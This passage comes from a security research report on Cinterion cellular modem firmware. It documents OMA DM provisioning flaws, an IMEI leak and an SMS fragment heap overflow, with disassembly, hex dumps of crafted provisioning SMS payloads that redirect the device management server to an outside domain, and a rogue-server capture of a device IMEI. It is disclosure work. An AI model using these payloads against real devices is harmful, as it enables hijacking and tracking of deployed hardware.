ROM:861F657A MOVS R0, #1
ROM:861F657C BL agsr_cat_send_osmsg_0 ; send 0x0a/0x14d msg to UTACAT thread
```
The message handling ends up triggering the invocation of `+XOMADMREP` at command (URC?):
```
ROM:861F6582 agsr_send_XOMADMREP ; CODE XREF: sub_8621A318+3A↓p
ROM:861F6582
ROM:861F6582 var_8 = -8
ROM:861F6582
ROM:861F6582 PUSH {R3,LR}
ROM:861F6584 MOVS R3, #0
ROM:861F6586 MOV R2, R1 ; msg data+0x0c
ROM:861F6588 ADR R1, aXomadmrep ; "+XOMADMREP"
ROM:861F658A STR R3, [SP,#8+var_8]
ROM:861F658C BL agsr_send_urc___
ROM:861F6590 POP {R3,PC}
```
Its description indicates that the command performs read / write access to OMA DM repository:
```
+XOMADMREP addr: 81ec6a90 handler: 861f626d
Read/Write OMA DM repository
```
The above likely implicates no ability to access file system or execute arbitrary (any) AT commands from
the remote as part of the OMA DM session.
However, DGL-61W could be special as the main management session is implemented with the use of a Java
based `SLAE` midlet (and Sensor Logic server).
It is worth to verify:
- all of the above
- whether other Cinterion modems / modules are vulnerable to the issue and what kind of functionality
their OMA DM implementation supports.
### ISSUE 13 - OMA DM PROVISIONING SOME MEMORY ISSUES
Upon testing OMA DM provisioning message, device boot has been initially experienced. This was due
to the fact that the OMA message was not verified for message size. As a result, unexpectedly short
message (the one that had less data than the expected digital digest hashes) could result in the
invalid memory access. This issue has is origin in a code location illustrated below:
```
ROM:86BDCEA8 BEQ loc_86BDCF20 ; -> exit
ROM:86BDCEAC MOV R1, #0x44 ; 'D'
ROM:86BDCEB0 ADD R0, SP, #0x70+var_6C
ROM:86BDCEB4 BL agsr_memset_with_zero
ROM:86BDCEB8 SUB R8, R8, #0x32 ; '2' -> for bootstrapdata equal to 0x10, r8 becomes negative number
ROM:86BDCEBC LDR R1, =agsr_omadm_secret_imsi__ ; telcin> dmem 0x8117848D
ROM:86BDCEBC ; 8117848d: 29 06 30 12 31 70 78 74 00 00 00 00 00 00 00 00 ).0.1pxt........
ROM:86BDCEBC ; 8117849d: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
ROM:86BDCEBC ; 811784ad: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
ROM:86BDCEC0 MOV R3, R11
ROM:86BDCEC4 MOV R2, R4
ROM:86BDCEC8 ADD R0, SP, #0x70+var_6C
ROM:86BDCECC STR R8, [SP,#0x70+var_70] -> negatie number used as size (triggers invalid memory access)
ROM:86BDCED0 BL agsr_omadm_sms_hmac_sha1_hex ; digest ma dlugosc 0x14 bytes
ROM:86BDCED4 LDR R2, =0x2CA
```
### ISSUE 14 - OMA DM PROVISIONING ALLOWS FOR CONFIG CHANGE
Upon testing OMA DM provisioning message, it was noticed that arbitrary provisioning messages
that carried attributes for APPLICATION resulted in the arbitrary store
of these values to NVM.
The following commands were used to test this:
```
telcin> start a:/agent.jad
OK
telcin> ls
[a:/]
ATSJMLED.jad --r 350
ATSJMLED.jar --r 345412
agent.jar --- 57053
agent.jad --- 416
telcin> run dmp.scr
telcin> telcin> memory device
MEMORY MODE: device
telcin> telcin> wmem 0x8117848C 082906301231707874
writing data to 8117848c
00000000: 08 29 06 30 12 31 70 78 74 .).0.1pxt
telcin> telcin> tracefile -i telcin> recvdmmsg -p https://agsecurityresearch.com
SMS
- FirstOctet
00000000: 74 t
- Addr: +48xxxxxxxx
00000000: 0b 91 84 xx xx xx xx xx ........
- PID
00000000: 00 .
- DCS
00000000: 04 .
- TimeStamp
00000000: 17 01 09 0c 0a 3a 04 .....:.
- UserData
* hdr len 06
00000000: 05 04 11 22 33 44 ..."3D
* ud len (with hdr) 8f
00000000: 01 06 06 00 00 b6 91 80 92 41 42 43 44 45 46 47 .........ABCDEFG
00000010: 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 HIJKLMNOPQRSTUVW
00000020: 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 64 65 66 67 XYZ[.]^_.abcdefg
00000030: 68 69 03 0b 6a 00 c5 46 01 c6 00 01 55 01 87 00 hi..j..F....U...
00000040: 01 36 06 03 41 00 01 87 00 01 38 06 03 42 00 01 .6..A.....8..B..
00000050: 87 07 06 03 43 00 01 87 00 01 34 06 03 68 74 74 ....C.....4..htt
00000060: 70 73 3a 2f 2f 61 67 73 65 63 75 72 69 74 79 72 ps://agsecurityr
00000070: 65 73 65 61 72 63 68 2e 63 6f 6d 00 01 87 00 01 esearch.com.....
00000080: 23 06 03 44 00 01 01 01 #..D....
- DM Push
* transaction_id 01
* PDU type 06
* headers
00
00
b6
91
80
92
- DM Data
* data
00000000: 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 ABCDEFGHIJKLMNOP
00000010: 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 QRSTUVWXYZ[.]^_.
00000020: 61 62 63 64 65 66 67 68 69 03 0b 6a 00 c5 46 01 abcdefghi..j..F.
00000030: c6 00 01 55 01 87 00 01 36 06 03 41 00 01 87 00 ...U....6..A....
00000040: 01 38 06 03 42 00 01 87 07 06 03 43 00 01 87 00 .8..B......C....
00000050: 01 34 06 03 68 74 74 70 73 3a 2f 2f 61 67 73 65 .4..https://agse
00000060: 63 75 72 69 74 79 72 65 73 65 61 72 63 68 2e 63 curityresearch.c
00000070: 6f 6d 00 01 87 00 01 23 06 03 44 00 01 01 01 om.....#..D....
OS MSG
00000000: aa 07 91 84 05 21 00 77 f7 74 0b 91 84 xx xx xx .....!.w.t......
00000010: xx xx 00 04 17 01 09 0c 0a 3a 04 8f 06 05 04 11 .........:......
00000020: 22 33 44 01 06 06 00 00 b6 91 80 92 41 42 43 44 "3D.........ABCD
00000030: 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 EFGHIJKLMNOPQRST
00000040: 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 64 UVWXYZ[.]^_.abcd
00000050: 65 66 67 68 69 03 0b 6a 00 c5 46 01 c6 00 01 55 efghi..j..F....U
00000060: 01 87 00 01 36 06 03 41 00 01 87 00 01 38 06 03 ....6..A.....8..
00000070: 42 00 01 87 07 06 03 43 00 01 87 00 01 34 06 03 B......C.....4..
00000080: 68 74 74 70 73 3a 2f 2f 61 67 73 65 63 75 72 69 https://agsecuri
00000090: 74 79 72 65 73 65 61 72 63 68 2e 63 6f 6d 00 01 tyresearch.com..
000000a0: 87 00 01 23 06 03 44 00 01 01 01 ...#..D....
SMS_RECV_FUN: send DR_SM_UPDATE_REQ to atc:1 task
res: 0x00000000
telcin> telcin>
```
After reboot, the `a:/trace.txt` file was inspected and the following lines were
found in it:
```
OMADM(omadmclient_session_start_on_bootstrap,615)name="ADDR"URC Type : +XCESQI >< SIM ID : 0>< count of processors : 29
OMADM(omadmclient_session_start_on_bootstrap,637)name="ADDR"SNMON_ncell_check_update with bSnmonNbcCfg=1, isCellCollectionRun=0, dhc=0, countdown=1OMADM(omadmclient_session_start_on_bootstrap,615)value="https://agsecurityresearch.com"SNMON NBC debug info: cell in black list, uarfcn=3082,psc=178,countdown=8OMADM(omadmclient_session_start_on_bootstrap,637)value="https://agsecurityresearch.com"SNMON for 4G: earfcn=65535, pci=65535~CAT~CatCsiMsNetServingCellMonitorIndCb SNMON for 4G: earfcn=65535, pci=65535OMADM_CLIENT: omadm_nvm_sta_call_read().... START
SNMON for 4G: earfcn=65535, pci=65535OMADM_CLIENT: omadm_nvm_sta_call_read().... END
SNMON for 4G: earfcn=65535, pci=65535OMADM_CLIENT: omadm_nvm_sta_call_write().... START
SNMON for 4G: earfcn=65535, pci=65535OMADM_CLIENT: omadm_nvm_sta_call_write().... END
SNMON for 4G: earfcn=65535, pci=65535OMADM: set https://agsecurityresearch.com to the OTA account in NVM ./DMS/Cingular/AppAddr/mdm/AddrSNMON for 4G: earfcn=65535, pci=65535>
SNMON for 4G: earfcn=65535, pci=65535 SNMON for 4G: earfcn=65535, pci=65535~CAT~CatCsiMsNetServingCellMonitorIndCb SNMON for 4G: earfcn=65535, pci=65535 SNMON NBC info: CsiMsNetCellIdReq to rat=0, n_4g=0, n_3g=0< SIM ID : 0>< count of processors : 29
OMADM_CLIENT: omadm_nvm_sta_call_write().... START
~CAT~Cat_CsiMsNetServingCellMonitorIndCb OMADM_CLIENT: omadm_nvm_sta_call_write().... END
URC Type : +XSCM >< SIM ID : 0>< count of processors : 29
OMADM: set D to the OTA account in NVM ./DMS/Cingular/AppAddr/mdm/Port/mdm/PortNbr~CAT~Cat_CsiMsNetServingCellMonitorIndCb >
URC Type : +XSCM >< SIM ID : 0>< count of processors : 29
CMD not recognized on JRC:6, try next.
URC Type : +XSCM >< SIM ID : 0>< count of processors : 29
< SIM ID : 0>< count of processors : 29
>
URC Type : +XCESQI >< SIM ID : 0>< count of processors : 29
omadmclient_session_start_on_bootstrap : failed to get next token, err = 8206
```
This implicates that the write to NVM. The actual write was verified by the `omadmcfg` too
and indeed the `https://agsecurityresearch.com` url value was set in the config.
The issue requires more investigation though as it turned out to be working in an unreliable
fashion whenever tracing was not enabled (system boot was encountered, no NVM value was written).
This could be due to the fact that the tests were conducted "locally". Some tests conducted with
SIM card inserted into the device and with all LEDs set to green (indicating successfull / complete
device startupand network connection) were more successful though.
Initially, the OM DM configuration was set as following:
```
telcin> omadmcfg -l omadmcfg.before -p
[PRODUCTION]
APPLICATION
- AppID w7
- ServerID Cingular
- Name Cingular
- Addr https://security-explorations.com
- PortNbr 443
APPAUTH
- AAuthLevel CLCRED
- AAuthType DIGEST
- AAuthName xxxxxxxxxxxxxxx
- AAuthSecret xxxxxxxxxxxxxxxx
- AAuthData null
APPAUTH
- AAuthLevel SRVCRED
- AAuthType DIGEST
- AAuthName Cingular
- AAuthSecret xxxxxxxxxxxxxxxx
- AAuthData null
[LAB]
APPLICATION
- AppID w7
- ServerID ATTLabA
- Name ATTLabA
- Addr https://127.0.0.1
- PortNbr 443
APPAUTH
- AAuthLevel CLCRED
- AAuthType DIGEST
- AAuthName xxxxx
- AAuthSecret xxxxx
- AAuthData null
APPAUTH
- AAuthLevel SRVCRED
- AAuthType DIGEST
- AAuthName xxxxxxx
- AAuthSecret xxxxx
- AAuthData null
[EXTRA]
APPLICATION
- AppID
- ServerID
- Name
- Addr
- PortNbr
APPAUTH
- AAuthLevel
- AAuthType
- AAuthName
- AAuthSecret
- AAuthData
APPAUTH
- AAuthLevel
- AAuthType
- AAuthName
- AAuthSecret
- AAuthData
```
The above indicates empty `EXTRA` data space. However, upon simulating the reception of OMA DM
provisioning message (with security check bypass), the following result was obtained:
```
telcin> recvdmmsg -p https://agsecurityresearch.com
SMS
- FirstOctet
00000000: 74 t
- Addr: +48xxxxxxxx
00000000: 0b 91 84 xx xx xx xx xx ........
- PID
00000000: 00 .
- DCS
00000000: 14 .
- TimeStamp
00000000: 17 01 15 0a 0e 29 04 .....).
- UserData
* hdr len 06
00000000: 05 04 11 22 33 44 ..."3D
* ud len (with hdr) a0
00000000: 01 06 06 00 00 b6 91 80 92 41 42 43 44 45 46 47 .........ABCDEFG
00000010: 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 HIJKLMNOPQRSTUVW
00000020: 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 64 65 66 67 XYZ[.]^_.abcdefg
00000030: 68 69 03 0b 6a 00 c5 46 01 c6 00 01 55 01 87 00 hi..j..F....U...
00000040: 01 36 06 03 77 37 00 01 87 00 01 38 06 03 43 69 .6..w7.....8..Ci
00000050: 6e 67 75 6c 61 72 00 01 87 07 06 03 43 69 6e 67 ngular......Cing
00000060: 75 6c 61 72 00 01 87 00 01 34 06 03 68 74 74 70 ular.....4..http
00000070: 73 3a 2f 2f 61 67 73 65 63 75 72 69 74 79 72 65 s://agsecurityre
00000080: 73 65 61 72 63 68 2e 63 6f 6d 00 01 87 00 01 23 search.com.....#
00000090: 06 03 34 34 33 00 01 01 01 ..443....
- DM Push
* transaction_id 01
* PDU type 06
* headers
00
00
b6
91
80
92
- DM Data
* data
00000000: 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 ABCDEFGHIJKLMNOP
00000010: 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 QRSTUVWXYZ[.]^_.
00000020: 61 62 63 64 65 66 67 68 69 03 0b 6a 00 c5 46 01 abcdefghi..j..F.
00000030: c6 00 01 55 01 87 00 01 36 06 03 77 37 00 01 87 ...U....6..w7...
00000040: 00 01 38 06 03 43 69 6e 67 75 6c 61 72 00 01 87 ..8..Cingular...
00000050: 07 06 03 43 69 6e 67 75 6c 61 72 00 01 87 00 01 ...Cingular.....
00000060: 34 06 03 68 74 74 70 73 3a 2f 2f 61 67 73 65 63 4..https://agsec
00000070: 75 72 69 74 79 72 65 73 65 61 72 63 68 2e 63 6f urityresearch.co
00000080: 6d 00 01 87 00 01 23 06 03 34 34 33 00 01 01 01 m.....#..443....
OS MSG
00000000: bb 07 91 84 05 21 00 77 f7 74 0b 91 84 xx xx xx .....!.w.t......
00000010: xx xx 00 14 17 01 15 0a 0e 29 04 a0 06 05 04 11 .........)......
00000020: 22 33 44 01 06 06 00 00 b6 91 80 92 41 42 43 44 "3D.........ABCD
00000030: 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 EFGHIJKLMNOPQRST
00000040: 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 64 UVWXYZ[.]^_.abcd
00000050: 65 66 67 68 69 03 0b 6a 00 c5 46 01 c6 00 01 55 efghi..j..F....U
00000060: 01 87 00 01 36 06 03 77 37 00 01 87 00 01 38 06 ....6..w7.....8.
00000070: 03 43 69 6e 67 75 6c 61 72 00 01 87 07 06 03 43 .Cingular......C
00000080: 69 6e 67 75 6c 61 72 00 01 87 00 01 34 06 03 68 ingular.....4..h
00000090: 74 74 70 73 3a 2f 2f 61 67 73 65 63 75 72 69 74 ttps://agsecurit
000000a0: 79 72 65 73 65 61 72 63 68 2e 63 6f 6d 00 01 87 yresearch.com...
000000b0: 00 01 23 06 03 34 34 33 00 01 01 01 ..#..443....
SMS_RECV_FUN: send DR_SM_UPDATE_REQ to atc:1 task
res: 0x00000000
telcin> omadmcfg -s omadmcfg.after -p
buf: 0x83c7baf0
omadm_nvm_sta_read res: 0x00000001
[PRODUCTION]
APPLICATION
- AppID w7
- ServerID Cingular
- Name Cingular
- Addr https://security-explorations.com
- PortNbr 443
APPAUTH
- AAuthLevel CLCRED
- AAuthType DIGEST
- AAuthName xxxxxxxxxxxxxxx
- AAuthSecret xxxxxxxxxxxxxxxx
- AAuthData null
APPAUTH
- AAuthLevel SRVCRED
- AAuthType DIGEST
- AAuthName Cingular
- AAuthSecret xxxxxxxxxxxxxxxx
- AAuthData null
[LAB]
APPLICATION
- AppID w7
- ServerID ATTLabA
- Name ATTLabA
- Addr https://127.0.0.1
- PortNbr 443
APPAUTH
- AAuthLevel CLCRED
- AAuthType DIGEST
- AAuthName xxxxx
- AAuthSecret xxxxx
- AAuthData null
APPAUTH
- AAuthLevel SRVCRED
- AAuthType DIGEST
- AAuthName xxxxxxx
- AAuthSecret xxxxx
- AAuthData null
[EXTRA]
APPLICATION
- AppID w7
- ServerID Cingular
- Name Cingular
- Addr https://agsecurityresearch.com
- PortNbr
APPAUTH
- AAuthLevel
- AAuthType
- AAuthName
- AAuthSecret
- AAuthData
APPAUTH
- AAuthLevel
- AAuthType
- AAuthName
- AAuthSecret
- AAuthData
telcin>
```
The device was not booted (provisioning message as processed successfully). After the reboot NVM
content was not restored to empty values (new config was persistent).
### ISSUE 15 - OMA DM PROVISIONING ALLOWS FOR FACTORY DEFAULTS "OVERWRITE"
While playing with OMA DM PROVISIONING messages and configuration, it has been observed that
the url of the application configured by the user (such as through custom NVM write or Issue 15)
and with the same appid as the system one (Cingular) took precedence over the system one
(even though it was the last in the NVM).
As a result, the URL of user defined config was used at the time of establishing a connection
with DM server.
### ISSUE 16 - IMEI NUMBER LEAK
For OMA DM notification messages, the configured url was used to establish a connection with
DM server. This is illustrated below:
```
telcin> start a:/agent.jad
OK
telcin> run dmn.scr
telcin> telcin> recvdmmsg -n Cingular
SMS
- FirstOctet
00000000: 74 t
- Addr: +48xxxxxxxx
00000000: 0b 91 84 xx xx xx xx xx ........
- PID
00000000: 00 .
- DCS
00000000: 04 .
- TimeStamp
00000000: 17 01 07 0b 0a 16 04 .......
- UserData
* hdr len 06
00000000: 05 04 11 22 33 44 ..."3D
* ud len (with hdr) 2d
00000000: 01 06 03 c4 af 87 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 02 d8 00 00 00 12 34 08 43 69 ............4.Ci
00000020: 6e 67 75 6c 61 72 ngular
- DM Push
* transaction_id 01
* PDU type 06
* headers
c4
af
87
- DM Data
* digest
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
* version 0b
* UImode 01
* initiator 01
* future_use 00
* server_id Cingular
OS MSG
00000000: 48 07 91 84 05 21 00 77 f7 74 0b 91 84 xx xx xx H....!.w.t......
00000010: xx xx 00 04 17 01 07 0b 0a 16 04 2d 06 05 04 11 ...........-....
00000020: 22 33 44 01 06 03 c4 af 87 00 00 00 00 00 00 00 "3D.............
00000030: 00 00 00 00 00 00 00 00 00 02 d8 00 00 00 12 34 ...............4
00000040: 08 43 69 6e 67 75 6c 61 72 .Cingular
SMS_RECV_FUN: send DR_SM_UPDATE_REQ to atc:1 task
res: 0x00000000
```
The `tracelog` showed that the connection was attempted to be opened with target url:
```
OMADM_LIBDM: sendPacket().......START...
HttpLog-->[2][../../3p_oss_bsd/curl/libcurl/lib/url.c][Curl_setopt]Entering. data[&-2084327224], option[10002].
OMADM_LIBDM: CURLOPT_URL = https://agsecurityresearch.com
HttpLog-->[2][../../3p_oss_bsd/curl/libcurl/lib/url.c][Curl_setopt]Entering. data[&-2084327224], option[47].
HttpLog-->[2][../../3p_oss_bsd/curl/libcurl/lib/url.c][Curl_setopt]Entering. data[&-2084327224], option[10023].
HttpLog-->[2][../../3p_oss_bsd/curl/libcurl/lib/url.c][Curl_setopt]Entering. data[&-2084327224], option[30120].
HttpLog-->[2][../../3p_oss_bsd/curl/libcurl/lib/url.c][Curl_setopt]Entering. data[&-2084327224], option[10165].
HttpLog-->[2][../../3p_oss_bsd/curl/libcurl/lib/url.c][Curl_setopt]Entering. data[&-2084327224], option[20011].
HttpLog-->[2][../../3p_oss_bsd/curl/libcurl/lib/url.c][Curl_setopt]Entering. data[&-2084327224], option[10001].
HttpLog-->[2][../../3p_oss_bsd/curl/libcurl/lib/url.c][Curl_setopt]Entering. data[&-2084327224], option[10023].
HttpLog-->[2][../../3p_oss_bsd/curl/libcurl/lib/url.c][Curl_setopt]Entering. data[&-2084327224], option[84].
HttpLog-->[2][../../3p_oss_bsd/curl/libcurl/lib/http_wrapper.c][IuiHttpSetCertificateCallback]Entered. pCurl[&-2084327224], CB[0x86bb5b94].
HttpLog-->[2][../../3p_oss_bsd/curl/libcurl/lib/url.c][Curl_setopt]Entering. data[&-2084327224], option[156].
HttpLog-->[2][../../3p_oss_bsd/curl/libcurl/lib/http_wrapper.c][IuiHttpSetNetworkInterfaceID]Entered. pCurl[&-2084327224], nNID[327685].
```
OM DM code / spec implicates that IMEI could be obtained by the fake DM server through that mean.
The spec (`OMA-TS-DM_Protocol-V1_2-20070209-A`) states the following among others:
```
To send the device information (like manufacturer, model etc) to a Device Management Server as specified
[DMSTDOBJ]. Client MUST send device information in the first message of management session.
```
This behaviour has ben verified with the use of a custom OMA DM server. The first SyncML message received
from the Cinterion device embedded its IMEI number:
```
HTTP server [class HTTPServer$SEServer] listening on: 192.168.1.100:8080
[/37.47.143.37] POST /
Accept:[*/*]
Host:[83.8.108.254:443]
User-agent:[IMC_OMADM_LIBDM]
Content-type:[application/vnd.syncml.dm+wbxml]
Content-length:[505]
############################################################
## SESSION 0
############################################################
- MSG FROM CLIENT
data
0000: 02 a4 01 6a 00 6d 6c 71 03 31 2e 32 00 01 72 03 ...j.mlq.1.2..r.
0010: 44 4d 2f 31 2e 32 00 01 65 03 33 34 31 32 00 01 DM/1.2..e.3412..
0020: 5b 03 31 00 01 6e 57 03 68 74 74 70 3a 2f 2f 38 [.1..nW.http://8
0030: 33 2e 38 2e 31 30 38 2e 32 35 34 3a 34 34 33 00 3.8.108.254:443.
0040: 01 01 67 57 03 49 4d 45 49 3a 33 35 31 32 34 39 ..gW.IMEI:351249
0050: 39 35 34 38 39 36 30 38 38 00 01 01 4e 5a 00 01 954896088...NZ..
0060: 47 03 62 36 34 00 01 53 03 73 79 6e 63 6d 6c 3a G.b64..S.syncml:
0070: 61 75 74 68 2d 6d 64 35 00 01 01 00 00 4f 03 31 auth-md5.....O.1
0080: 47 47 73 71 70 74 71 43 37 56 4a 64 6f 42 38 70 GGsqptqC7VJdoB8p
0090: 41 6e 4d 67 51 3d 3d 00 01 01 5a 00 01 4c 03 31 AnMgQ==...Z..L.1
00a0: 36 33 38 34 00 01 01 01 00 00 6b 46 4b 03 31 00 6384......kFK.1.
00b0: 01 4f 03 31 32 30 30 00 01 01 60 4b 03 32 00 01 .O.1200....K.2..
00c0: 54 67 57 03 2e 2f 44 65 76 49 6e 66 6f 2f 44 6d TgW../DevInfo/Dm
00d0: 56 00 01 01 5a 00 01 47 03 63 68 72 00 01 53 03 V...Z..G.chr..S.
00e0: 74 65 78 74 2f 70 6c 61 69 6e 00 01 01 00 00 4f text/plain.....O
00f0: 03 31 2e 32 00 01 01 54 67 57 03 2e 2f 44 65 76 .1.2...TgW../Dev
0100: 49 6e 66 6f 2f 4c 61 6e 67 00 01 01 5a 00 01 47 Info/Lang...Z..G
0110: 03 63 68 72 00 01 53 03 74 65 78 74 2f 70 6c 61 .chr..S.text/pla
0120: 69 6e 00 01 01 00 00 4f 03 45 6e 67 6c 69 73 68 in.....O.English
0130: 00 01 01 54 67 57 03 2e 2f 44 65 76 49 6e 66 6f ...TgW../DevInfo
0140: 2f 44 65 76 49 64 00 01 01 5a 00 01 47 03 63 68 /DevId...Z..G.ch
0150: 72 00 01 53 03 74 65 78 74 2f 70 6c 61 69 6e 00 r..S.text/plain.
0160: 01 01 00 00 4f 03 49 4d 45 49 3a 33 35 31 32 34 ....O.IMEI:35124
0170: 39 39 35 34 38 39 36 30 38 38 00 01 01 54 67 57 9954896088...TgW
0180: 03 2e 2f 44 65 76 49 6e 66 6f 2f 4d 61 6e 00 01 ../DevInfo/Man..
0190: 01 5a 00 01 47 03 63 68 72 00 01 53 03 74 65 78 .Z..G.chr..S.tex
01a0: 74 2f 70 6c 61 69 6e 00 01 01 00 00 4f 03 43 69 t/plain.....O.Ci
01b0: 6e 74 65 72 69 6f 6e 00 01 01 54 67 57 03 2e 2f nterion...TgW../
01c0: 44 65 76 49 6e 66 6f 2f 4d 6f 64 00 01 01 5a 00 DevInfo/Mod...Z.
01d0: 01 47 03 63 68 72 00 01 53 03 74 65 78 74 2f 70 .G.chr..S.text/p
01e0: 6c 61 69 6e 00 01 01 00 00 4f 03 50 4c 53 36 32 lain.....O.PLS62
01f0: 2d 57 00 01 01 01 12 01 01 -W.......
[SyncML]
* wbxml_ver: 02
* publicid: 00001201 [-//SYNCML//DTD SyncML 1.2//EN]
* charset: 6a
strtable [0 bytes]
1.2DM/1.234121http://83.8.108.254:443b64syncml:auth-md5
1GGsqptqC7VJdoB8pAnMgQ==
163841
1200
2chrtext/plain
1.2
chrtext/plain
English
chrtext/plain
IMEI:351249954896088
chrtext/plain
Cinterion
chrtext/plain
PLS62-W
```
As a result of IMEI number leak, the number of SPC values to check for ISSUE 9 can be decreased to 4^10
(66 bunches of SMS sequences, an attack taking between 1-2 hours).
The other implication of OMA DM connection triggered by the attacker and redirected to the server under
its control is also the following:
- verification that a Cinterion device is present at the target number
- the ability to acquire detailed information about Cinterion device (SW version, etc.) - this is key
for exploitation of memory corruption issues.
### ISSUE 17 - POTENTIAL FOR AT SYSTEM COMMANDS HIJACK
The overall AT command dispatch works as following:
- first an attempt is made to execute a command through one of the Java application installed
in the system (following the JAT-Priority order)
- upon failure to find the AT command processor, the native AT command dispatcher is invoked.
This order can be seen in the tracelog whenever AT command is entered over the connection to
the device:
```
C-AT trace>>> ACKED w result(0 =OK, 16 MEM full, 47 Prot ERR )= 0, tipd= 137
CMD not recognized on JRC:100, try next.
next_jrc_client: 6.
CMD not recognized on JRC:6, try next.
next_jrc_client: 1.
CMD not recognized on JRC:1, try next.
no more jrc processor left, try native functions.
```
Such a design creates a potential risk for a hidden backdoor-like system command change making
it possible to change any system command or hide any backdoor presence in the system (AT commands
are the primary means to inspect the system).
The `JRC` midlet itself makes use of this functionality - its code implements many key commands
such as `SFSA`.
### ISSUE 18 - HEAP OVERFLOW IN SMS FRAGMENTS PROCESSING
There are two code locations in a device firmware that deal with SMS fragments (concatenated SMS
messages) processing:
1) WDP segments reassembly
```
ROM:86BDC6B8 agsr_OmadmSmsWdpSegPktReassembly ; CODE XREF: OmadmUtaSms3gppFilterFunction+22C↓p
ROM:86BDC6B8
ROM:86BDC6B8 var_40 = -0x40
ROM:86BDC6B8 var_3C = -0x3C
ROM:86BDC6B8 var_30 = -0x30
ROM:86BDC6B8
ROM:86BDC6B8 PUSH {R0-R11,LR}
ROM:86BDC6BC SUB SP, SP, #0xC
ROM:86BDC6C0 MOVS R8, R3 ; ptr for the output assembled packet
ROM:86BDC6C4 MOV R5, R0 ; ptr na concatenation IE
ROM:86BDC6C8 LDRNE R0, [SP,#0x40+var_30]
ROM:86BDC6CC MOV R7, R2 ; data len
ROM:86BDC6D0 CMPNE R0, #0
ROM:86BDC6D4 BEQ loc_86BDC754 ; -> exit
ROM:86BDC6D8 CMP R7, #0
ROM:86BDC6DC CMPNE R5, #0
ROM:86BDC6E0 BEQ loc_86BDC754 ; -> exit
ROM:86BDC6E4 MOV R10, #0
ROM:86BDC6E8 STR R10, [R8]
ROM:86BDC6EC LDRB R2, [R5,#2] ; segNum
ROM:86BDC6F0 LDRB R1, [R5] ; ref
ROM:86BDC6F4 ADR R0, aRefSegnum ; "ref&segNum"
ROM:86BDC6F8 MOV R3, #0x198
ROM:86BDC6FC STMEA SP, {R0-R2}
ROM:86BDC700 ADR R1, a3pOssApacheLib_0 ; "../../3p_oss_apache/libdmclient/src/oma"...
ROM:86BDC704 LDR R2, =aOmadmsmswdpseg ; "OmadmSmsWdpSegPktReassembly"
ROM:86BDC708 ADR R0, aSSDSDD ; "%s-%s(%d): %s %d %d"
```
2) general SMS concatenation handling
```
ROM:862098AE loc_862098AE ; CODE XREF: sub_862097A8+F0↑j
ROM:862098AE LDR R3, [R0,#0x24]
ROM:862098B0 MOV R2, R1
ROM:862098B2 LDR R0, [R0,#0x3C]
ROM:862098B4 ADD R1, SP, #0x458+var_1A4
ROM:862098B6 BL agsr_store_fragment
ROM:862098BA ADD R0, SP, #0x458+var_5C
ROM:862098BC MOV R1, R4
ROM:862098BE LDR R0, [R0,#0x3C]
ROM:862098C0 BL agsr_receive_concatenated_sms
ROM:862098C4
ROM:862098C4 loc_862098C4 ; CODE XREF: sub_862097A8+40↑j
ROM:862098C4 ; sub_862097A8+56↑j ...
ROM:862098C4 ADD SP, SP, #0x1FC
ROM:862098C6 ADD SP, SP, #0x1FC
ROM:862098C8 ADD SP, SP, #0x4C ; 'L'
ROM:862098CA POP {R4-R7,PC}
```
General SMS concatenation relies on the global structure that carries information about fragments
reception "state":
```
telcin> smsfrags
[SMS FRAGMENTS]
addr: 0x817030bc
fragnum: 00
refid: ff
totalfrags: 00
concatmem: 0x00000000 size 0xffffffff [0 fragments ]
```
Upon reception of a concatenated SMS message, this structure gets updated accordingly.
The POC implements a command for a local simulation of SMS fragment reception:
```
telcin> recvfrag -f 1/3 -i 1 -s fragment1
fragment 1/3, id 00000001
data
00000000: 66 72 61 67 6d 65 6e 74 31 fragment1
SMS
- FirstOctet
00000000: 70 p
- Addr: +48xxxxxxxx
00000000: 0b 91 84 xx xx xx xx xx ........
- PID
00000000: 00 .
- DCS
00000000: 14 .
- TimeStamp
00000000: 17 01 13 0e 3a 07 04 ....:..
- UserData
* hdr len 05
00000000: 00 03 01 03 01 .....
* ud len (with hdr) 0f
00000000: 66 72 61 67 6d 65 6e 74 31 fragment1
OS MSG
00000000: 2a 07 91 84 05 21 00 77 f7 70 0b 91 84 xx xx xx *....!.w.p......
00000010: xx xx 00 14 17 01 13 0e 3a 07 04 0f 05 00 03 01 ........:.......
00000020: 03 01 66 72 61 67 6d 65 6e 74 31 ..fragment1
SMS_RECV_FUN: send DR_SM_UPDATE_REQ to atc:1 task
res: 0x00000000
```
The above simulates reception of SMS fragment number 1 (out of 3 in total) carrying text `fragment1`
as user data.
Similarly, reception of a fragment number 2 can be simulated:
```
telcin> recvfrag -f 2/3 -i 1 -s fragment2
fragment 2/3, id 00000001
data
00000000: 66 72 61 67 6d 65 6e 74 32 fragment2
SMS
- FirstOctet
00000000: 70 p
- Addr: +48xxxxxxxx
00000000: 0b 91 84 xx xx xx xx xx ........
- PID
00000000: 00 .
- DCS
00000000: 14 .
- TimeStamp
00000000: 17 01 13 0e 3a 27 04 ....:'.
- UserData
* hdr len 05
00000000: 00 03 01 03 02 .....
* ud len (with hdr) 0f
00000000: 66 72 61 67 6d 65 6e 74 32 fragment2
OS MSG
00000000: 2a 07 91 84 05 21 00 77 f7 70 0b 91 84 xx xx xx *....!.w.p......
00000010: xx xx 00 14 17 01 13 0e 3a 27 04 0f 05 00 03 01 ........:'......
00000020: 03 02 66 72 61 67 6d 65 6e 74 32 ..fragment2
